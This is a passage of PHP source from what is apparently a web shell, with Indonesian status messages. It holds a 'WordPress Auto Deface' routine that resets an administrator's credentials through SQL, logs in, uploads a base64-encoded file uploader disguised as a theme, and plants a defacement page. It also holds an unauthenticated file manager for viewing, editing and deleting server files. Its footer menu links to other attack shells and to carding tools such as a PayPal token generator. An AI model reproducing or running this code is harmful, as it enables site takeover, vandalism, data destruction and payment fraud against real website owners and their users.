2830 $result = mysql_fetch_array($q);
2831 $id = $result[ID];
2832 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2833 $result2 = mysql_fetch_array($q2);
2834 $target = $result2[option_value];
2835 if($target == '') {
2836 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
2837 } else {
2838 echo "[+] $target <br>";
2839 }
2840 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
2841 if(!$conn OR !$db OR !$update) {
2842 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
2843 mysql_close($conn);
2844 } else {
2845 $site = "$target/wp-login.php";
2846 $site2 = "$target/wp-admin/theme-install.php?upload";
2847 $b1 = anucurl($site2);
2848 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
2849 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
2850 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
2851 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
2852 $www = "m.php";
2853 $fp5 = fopen($www,"w");
2854 fputs($fp5,$upload3);
2855 $post2 = array(
2856 "_wpnonce" => "$anu2",
2857 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
2858 "themezip" => "@$www",
2859 "install-theme-submit" => "Install Now",
2860 );
2861 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
2862 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2863 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2864 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2865 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2866 curl_setopt($ch, CURLOPT_POST, 1);
2867 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
2868 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2869 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2870 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
2871 $data3 = curl_exec($ch);
2872 curl_close($ch);
2873 $y = date("Y");
2874 $m = date("m");
2875 $namafile = "id.php";
2876 $fpi = fopen($namafile,"w");
2877 fputs($fpi,$script);
2878 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
2879 curl_setopt($ch6, CURLOPT_POST, true);
2880 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
2881 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
2882 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
2883 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
2884 curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
2885 $postResult = curl_exec($ch6);
2886 curl_close($ch6);
2887 $as = "$target/k.php";
2888 $bs = anucurl($as);
2889 if(preg_match("#$script#is", $bs)) {
2890 echo "[+] <font color='lime'>berhasil mepes...</font><br>";
2891 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
2892 } else {
2893 echo "[-] <font color='red'>gagal mepes...</font><br>";
2894 echo "[!!] coba aja manual: <br>";
2895 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
2896 echo "[+] username: <font color=lime>$user</font><br>";
2897 echo "[+] password: <font color=lime>$pass</font><br><br>";
2898 }
2899 mysql_close($conn);
2900 }
2901 }
2902 } else {
2903 echo "<center><h1>WordPress Auto Deface V.2</h1>
2904 <form method='post'>
2905 Link Config: <br>
2906 <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
2907 <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
2908 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
2909 </form></center>";
2910 }
2911} elseif($_GET['act'] == 'newfile') {
2912 if($_POST['new_save_file']) {
2913 $newfile = htmlspecialchars($_POST['newfile']);
2914 $fopen = fopen($newfile, "a+");
2915 if($fopen) {
2916 $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
2917 } else {
2918 $act = "<font color=red>permission denied</font>";
2919 }
2920 }
2921 echo $act;
2922 echo "<form method='post'>
2923 Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
2924 <input type='submit' name='new_save_file' value='Submit'>
2925 </form>";
2926} elseif($_GET['act'] == 'newfolder') {
2927 if($_POST['new_save_folder']) {
2928 $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
2929 if(!mkdir($new_folder)) {
2930 $act = "<font color=red>permission denied</font>";
2931 } else {
2932 $act = "<script>window.location='?dir=".$dir."';</script>";
2933 }
2934 }
2935 echo $act;
2936 echo "<form method='post'>
2937 Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
2938 <input type='submit' name='new_save_folder' value='Submit'>
2939 </form>";
2940} elseif($_GET['act'] == 'rename_dir') {
2941 if($_POST['dir_rename']) {
2942 $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
2943 if($dir_rename) {
2944 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2945 } else {
2946 $act = "<font color=red>permission denied</font>";
2947 }
2948 echo "".$act."<br>";
2949 }
2950 echo "<form method='post'>
2951 <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
2952 <input type='submit' name='dir_rename' value='rename'>
2953 </form>";
2954} elseif($_GET['act'] == 'delete_dir') {
2955 function Delete($path)
2956{
2957 if (is_dir($path) === true)
2958 {
2959 $files = array_diff(scandir($path), array('.', '..'));
2960 foreach ($files as $file)
2961 {
2962 Delete(realpath($path) . '/' . $file);
2963 }
2964 return rmdir($path);
2965 }
2966 else if (is_file($path) === true)
2967 {
2968 return unlink($path);
2969 }
2970 return false;
2971}
2972 $delete_dir = Delete($dir);
2973 if($delete_dir) {
2974 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
2975 } else {
2976 $act = "<font color=red>could not remove ".basename($dir)."</font>";
2977 }
2978 echo $act;
2979} elseif($_GET['act'] == 'view') {
2980 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
2981 echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
2982} elseif($_GET['act'] == 'edit') {
2983 if($_POST['save']) {
2984 $save = file_put_contents($_GET['file'], $_POST['src']);
2985 if($save) {
2986 $act = "<font color=lime>Saved!</font>";
2987 } else {
2988 $act = "<font color=red>permission denied</font>";
2989 }
2990 echo "".$act."<br>";
2991 }
2992 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
2993 echo "<form method='post'>
2994 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
2995 <input type='submit' value='Save' name='save' style='width: 500px;'>
2996 </form>";
2997} elseif($_GET['act'] == 'rename') {
2998 if($_POST['do_rename']) {
2999 $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
3000 if($rename) {
3001 $act = "<script>window.location='?dir=".$dir."';</script>";
3002 } else {
3003 $act = "<font color=red>permission denied</font>";
3004 }
3005 echo "".$act."<br>";
3006 }
3007 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
3008 echo "<form method='post'>
3009 <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
3010 <input type='submit' name='do_rename' value='rename'>
3011 </form>";
3012} elseif($_GET['act'] == 'delete') {
3013 $delete = unlink($_GET['file']);
3014 if($delete) {
3015 $act = "<script>window.location='?dir=".$dir."';</script>";
3016 } else {
3017 $act = "<font color=red>permission denied</font>";
3018 }
3019 echo $act;
3020}else {
3021 if(is_dir($dir) == true) {
3022 echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
3023 <tr>
3024 <th class="th_home"><center>Name</center></th>
3025 <th class="th_home"><center>Type</center></th>
3026 <th class="th_home"><center>Size</center></th>
3027 <th class="th_home"><center>Last Modified</center></th>
3028 <th class="th_home"><center>Permission</center></th>
3029 <th class="th_home"><center>Action</center></th>
3030 </tr>';
3031 $scandir = scandir($dir);
3032 foreach($scandir as $dirx) {
3033 $dtype = filetype("$dir/$dirx");
3034 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
3035 if(!is_dir("$dir/$dirx")) continue;
3036 if($dirx === '..') {
3037 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
3038 } elseif($dirx === '.') {
3039 $href = "<a href='?dir=$dir'>$dirx</a>";
3040 } else {
3041 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
3042 }
3043 if($dirx === '.' || $dirx === '..') {
3044 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
3045 } else {
3046 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
3047
3048 }
3049 echo "<div id=content>";
3050 echo "<tr>";
3051 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
3052 echo "<td class='td_home'><center>$dtype</center></td>";
3053 echo "<td class='td_home'><center>-</center></th>";
3054 echo "<td class='td_home'><center>$dtime</center></td>";
3055 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
3056 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
3057 }
3058 echo "</tr>";
3059 foreach($scandir as $file) {
3060 $ftype = filetype("$dir/$file");
3061 $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
3062 $size = filesize("$dir/$file")/1024;
3063 $size = round($size,3);
3064 if($size > 1024) {
3065 $size = round($size/1024,2). 'MB';
3066 } else {
3067 $size = $size. 'KB';
3068 }
3069 if(!is_file("$dir/$file")) continue;
3070 echo "<tr>";
3071 echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
3072 echo "<td class='td_home'><center>$ftype</center></td>";
3073 echo "<td class='td_home'><center>$size</center></td>";
3074 echo "<td class='td_home'><center>$ftime</center></td>";
3075 echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
3076 echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
3077 }
3078 echo "</tr></div></table>";
3079 } else {
3080 echo "<font color=red>can't open directory</font>";
3081 }
3082 }
3083#########################################################################
3084
3085echo "<center><hr><form>
3086<select onchange='if (this.value) window.open(this.value);'>
3087 <option selected='selected' value=''> Tools Creator </option>
3088 <option value='$ling=wso'>WSO 2.8.1</option>
3089 <option value='$ling=injection'>1n73ction v3</option>
3090 <option value='$ling=wk'>WHMCS Killer</option>
3091 <option value='$ling=adminer'>Adminer</option>
3092 <option value='$ling=b374k'>b374k Shell</option>
3093 <option value='$ling=b374k323'>b374k 3.2</option>
3094 <option value='$ling=bh'>BlackHat Shell</option>
3095 <option value='$ling=dhanus'>Dhanush Shell</option>
3096 <option value='$ling=r57'>R57 Shell</option>
3097<option value='$ling=encodedecode'>Encode Decode</option>
3098<option value='$ling=r57'>R57 Shell</option>
3099</select>
3100<select onchange='if (this.value) window.open(this.value);'>
3101 <option selected='selected' value=''> Tools Carder </option>
3102 <option value='$ling=extractor'>DB Email Extractor</option>
3103 <option value='$ling=promailerv2'>Pro Mailer V2</option>
3104 <option value='$ling=bukalapak'>BukaLapak Checker</option>
3105 <option value='$ling=tokopedia'>TokoPedia Checker</option>
3106 <option value='$ling=tokenpp'>Paypal Token Generator</option>
3107 <option value='$ling=mailer'>Mailer</option>
3108 <option value='$ling=gamestopceker'>GamesTop Checker</option>
3109 </select>
3110<noscript><input type='submit' value='Submit'></noscript>
3111</form>Copyright © ".date("Y")." - <a href='http://blog.garudasecurityhacker.org/' target='_blank'><font color=lime>Anazvr</font></a> </center><hr>";
3112
3113?>
3114</html>